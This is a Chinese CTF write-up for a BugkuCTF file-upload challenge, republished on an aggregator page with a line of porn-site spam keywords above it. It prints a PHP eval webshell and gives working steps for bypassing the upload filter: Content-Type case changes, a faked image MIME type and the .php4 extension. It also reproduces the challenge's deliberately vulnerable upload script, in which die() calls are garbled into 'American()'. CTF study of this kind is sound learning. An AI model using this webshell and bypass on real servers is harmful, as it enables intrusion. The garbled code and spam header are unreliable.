日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

BugkuCTF-WEB题文件上传

發(fā)布時(shí)間:2024/9/27 编程问答 17 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BugkuCTF-WEB题文件上传 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

啟動(dòng)場(chǎng)景
發(fā)現(xiàn)是文件上傳

只能上傳圖像,不能上傳PHP文件,那應(yīng)該是尋找漏洞上傳PHP文件
PHP文件里寫入一句話木馬

<?php @eval($_POST[caidao]);?>

使用burp抓包,不斷嘗試發(fā)現(xiàn)發(fā)現(xiàn)需要修改的地方有三個(gè):
一個(gè)是http head里的Content-Type: multipart/form-data;
請(qǐng)求頭部的 Content-Type 內(nèi)容 隨便改個(gè)大寫字母過(guò)濾掉 比如 mulTipart/form-data (其t為大寫)
Multipart里的部分字母改成大寫的。

第二個(gè)是文件的的Content-Type: application/octet-stream,改成image/jpeg

第三個(gè)是文件后綴名改成php4
(依次嘗試php4,phtml,phtm,phps,php5(包括一些字母改變大小寫))分別將后綴名修改為php2, php3, php4, php5, phps, pht, phtm, phtml(php的別名),發(fā)現(xiàn)只有php4沒(méi)有被過(guò)濾

之后上傳成功

關(guān)閉代理,瀏覽器顯示文件路徑

以菜刀連接:


進(jìn)入服務(wù)器后臺(tái),在根目錄發(fā)現(xiàn)flag

打開(kāi)flag
得到flag

后來(lái)有大佬教了我做事,說(shuō)都上了馬了自己不會(huì)扒來(lái)看嘛,哇我真的是蠢,這都沒(méi)想到,直接血的教訓(xùn)記了下來(lái),并扒了源碼分析:
參考源碼.php文件

<html> <body> <?php $flag = "flag{test}" ?> <form action="index.php" method="post" enctype="multipart/form-data"> My name is margin,give me a image file not a php<br> <br> <input type="file" name="file" id="file" /> <input type="submit" name="submit" value="Submit" /> </form> <?php function global_filter(){$type = $_SERVER["CONTENT_TYPE"];//$_SERVER是一個(gè)服務(wù)器端的變量數(shù)組,提供許多關(guān)于服務(wù)器及客戶端請(qǐng)求的變量值,像客戶端瀏覽器類型、IP地址等if (strpos($type,"multipart/form-data") !== False){//strpos() 函數(shù)查找字符串在另一字符串里第一次出現(xiàn)的位置。strpos() 函數(shù)對(duì)大小寫敏感。$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);//strrpos()查找字符串在另一字符串最后一次出現(xiàn)位置$file_ext = strtolower($file_ext); //strtolower() 函數(shù)把字符串轉(zhuǎn)換為小寫。if (stripos($file_ext,"php") !== False){American("Invalid File<br />");}} } //這里判斷multipart/form-data用了strpos,該函數(shù)區(qū)分大小寫,所以用Multipart/form-data的理由找到了,這樣就能繞過(guò)里面的if ?><?phpglobal_filter(); if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){if ($_FILES["file"]["error"] == 0){$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);$file_ext = strtolower($file_ext);$allowexts = array('jpg','gif','jpeg','bmp','php4'); //array() 創(chuàng)建數(shù)組if(!in_array($file_ext,$allowexts)){American("give me a image file not a php");}//這里定了個(gè)白名單,只漏了個(gè)php4出來(lái),只能用php4的原因也找到了$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext; //rand() 函數(shù)返回隨機(jī)整數(shù)。//date() 函數(shù)格式操作本地日期和時(shí)間,并返回已格式操作的日期字符串。if (file_exists("upload/" . $_FILES["file"]["name"])){ //file_exists() 函數(shù)檢查文件或目錄是否存在。echo $_FILES["file"]["name"] . " already exists. <br />";}else{if (!file_exists('./upload/')){mkdir ("./upload/");system("chmod 777 /var/www/html/upload"); //system — 執(zhí)行外部程序,并且顯示輸出}move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);//move_uploaded_file — 將上傳的文件移動(dòng)到新位置echo "Upload Success<br>";$filepath = "upload/" . $_FILES["file"]["name"];echo "Stored in: " ."< a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";}} } else{if($_FILES["file"]["size"] > 0){echo "You was catched! :) <br />";} } ?> </body> </html><?php /* $_SERVER是一個(gè)服務(wù)器端的變量數(shù)組,提供許多關(guān)于服務(wù)器及客戶端請(qǐng)求的變量值,像客戶端瀏覽器類型、IP地址等 通過(guò) print_r($_SERVER)可以輸出其里包含了那些內(nèi)容strpos() 函數(shù)查找字符串在另一字符串里第一次出現(xiàn)的位置。strpos() 函數(shù)對(duì)大小寫敏感。 strrpos() - 查找字符串在另一字符串里最后一次出現(xiàn)的位置(區(qū)分大小寫) 例如:echo strrpos("You love php, I love php too!","php"); 結(jié)果返回21$_FILES -- $HTTP_POST_FILES [已棄用]HTTP 文件上傳變量 PHP $_FILES 是一個(gè)預(yù)定義的數(shù)組,用來(lái)獲取通過(guò) POST 方法上傳文件的相關(guān)信息。如果為單個(gè)文件上傳,那么 $_FILES 為二維數(shù)組;如果為多個(gè)文件上傳,那么 $_FILES 為三維數(shù)組。 $_FILES['myFile']['name'] 客戶端文件的原名稱。 $_FILES['myFile']['type'] 文件的 MIME 類型,需要瀏覽器提供該信息的支持,例如"image/gif"$_FILES['myFile']['size'] 已上傳文件的大小,單位為字節(jié)。 $_FILES['myFile']['tmp_name'] 文件被上傳后在服務(wù)端儲(chǔ)存的臨時(shí)文件名,一般是系統(tǒng)默認(rèn)。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函數(shù)設(shè)置是不起作用的。 $_FILES['myFile']['error'] 和該文件上傳相關(guān)的錯(cuò)誤代碼。['error'] 是在 PHP 4.2.0 版本里增加的。下面是它的說(shuō)明:(它們?cè)?span id="ozvdkddzhkzd" class="token constant">PHP3.0以后成了常量) UPLOAD_ERR_OK 值:0; 沒(méi)有錯(cuò)誤發(fā)生,文件上傳成功。 strtolower() 函數(shù)把字符串轉(zhuǎn)換為小寫。date() 函數(shù)格式操作本地日期和時(shí)間,并返回已格式操作的日期字符串。rand() 函數(shù)返回隨機(jī)整數(shù)。file_exists() 函數(shù)檢查文件或目錄是否存在。 如果指定的文件或目錄存在則返回 true,否則返回 false。system — 執(zhí)行外部程序,并且顯示輸出move_uploaded_file — 將上傳的文件移動(dòng)到新位置 */ ?>

總結(jié)

以上是生活随笔為你收集整理的BugkuCTF-WEB题文件上传的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。